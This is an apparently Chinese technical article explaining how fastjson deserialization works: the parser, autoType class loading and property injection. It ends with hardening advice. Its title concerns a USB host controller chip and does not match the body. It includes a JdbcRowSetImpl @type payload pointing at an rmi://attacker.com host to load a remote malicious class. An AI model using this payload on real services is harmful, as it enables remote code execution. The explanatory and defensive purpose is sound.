MAX3421E USB主机控制器实战:为微控制器扩展USB外设连接能力
2026/5/16 18:59:14
首先明确基础定义:
ParserConfig.getGlobalInstance().setSafeMode(true)等安全模式),支持完整的类加载、属性注入和方法调用。fastjson 反序列化的完整执行链路可分为 5 个核心步骤,我用流程图+文字拆解:
fastjson 会创建DefaultJSONParser对象,核心参数包括:
ParserConfig(决定是否允许加载自定义类、是否开启安全模式等)Feature(如是否允许单引号、是否忽略未知属性等)核心代码示例:
// 手动初始化解析器(fastjson底层调用逻辑)Stringjson="{\"@type\":\"com.example.User\",\"name\":\"test\"}";ParserConfigconfig=ParserConfig.getGlobalInstance();// 默认全局配置DefaultJSONParserparser=newDefaultJSONParser(json,config,Feature.Default);DefaultJSONParser通过Lexer对 JSON 字符串进行词法分析,将字符串拆分为 Token(如{、}、@type、字符串值、数字值等),核心逻辑:
@type字段(fastjson 反序列化的核心入口,指定要实例化的类名);这是反序列化的核心环节,fastjson 会根据@type指定的类名(或默认类)完成类加载和对象创建:
ParserConfig的checkAutoType方法校验类名(原生模式下默认允许大部分类),然后通过Class.forName加载类;@JSONCreator注解指定有参构造/静态工厂方法;核心代码(简化版):
// 类加载逻辑(ParserConfig核心方法)publicClass<?>checkAutoType(StringtypeName,Class<?>expectClass,intfeatures){// 原生模式下跳过大部分安全校验Class<?>clazz=Class.forName(typeName,true,Thread.currentThread().getContextClassLoader());returnclazz;}// 对象实例化(JavaBeanDeserializer)publicObjectcreateInstance(DefaultJSONParserparser,Typetype){// 优先找无参构造Constructor<?>constructor=clazz.getDeclaredConstructor();constructor.setAccessible(true);returnconstructor.newInstance();}实例化对象后,fastjson 会遍历 JSON 中的键值对,完成属性赋值,核心逻辑:
setXxx()方法(符合 JavaBean 规范);field.setAccessible(true));java.io.Externalizable的类,会调用readExternal方法;ObjectDeserializer),会调用其deserialze方法。完成所有属性注入后,将实例化并赋值完成的 Java 对象返回,反序列化流程结束。
| 组件名 | 作用 |
|---|---|
DefaultJSONParser | 核心解析器,负责 JSON 词法/语法分析 |
ParserConfig | 反序列化配置中心,控制类加载、自动类型检测、反序列化器注册等 |
JavaBeanDeserializer | 默认的 JavaBean 反序列化器,处理普通类的实例化和属性注入 |
Lexer | 词法分析器,将 JSON 字符串拆分为 Token |
ObjectDeserializer | 反序列化器接口,自定义类可实现该接口定制反序列化逻辑 |
fastjson 原生反序列化的最大问题在于@type字段的滥用,核心风险点:
checkAutoType校验宽松,攻击者可通过@type指定危险类(如com.sun.rowset.JdbcRowSetImpl);JdbcRowSetImpl的setDataSourceName会触发 JNDI 调用,进而加载远程恶意类);典型恶意 JSON 示例:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker.com/malicious.class","autoCommit":true}执行流程:
JdbcRowSetImpl类 → 实例化(无参构造);dataSourceName属性(调用setDataSourceName);autoCommit属性(调用setAutoCommit,内部触发connect方法,访问 RMI 服务器加载恶意类);为了规避风险,实际使用中需调整配置:
ParserConfig.getGlobalInstance().setSafeMode(true);ParserConfigconfig=newParserConfig();config.addAccept("com.example.");// 只允许反序列化指定包下的类@type字段:DefaultJSONParserparser=newDefaultJSONParser(json,config,Feature.DisableSpecialKeyDetect);ParserConfig控制类加载规则;@type字段是反序列化的核心入口,也是安全风险的主要来源,原生模式下校验宽松易导致任意代码执行;@type解析,避免反序列化漏洞。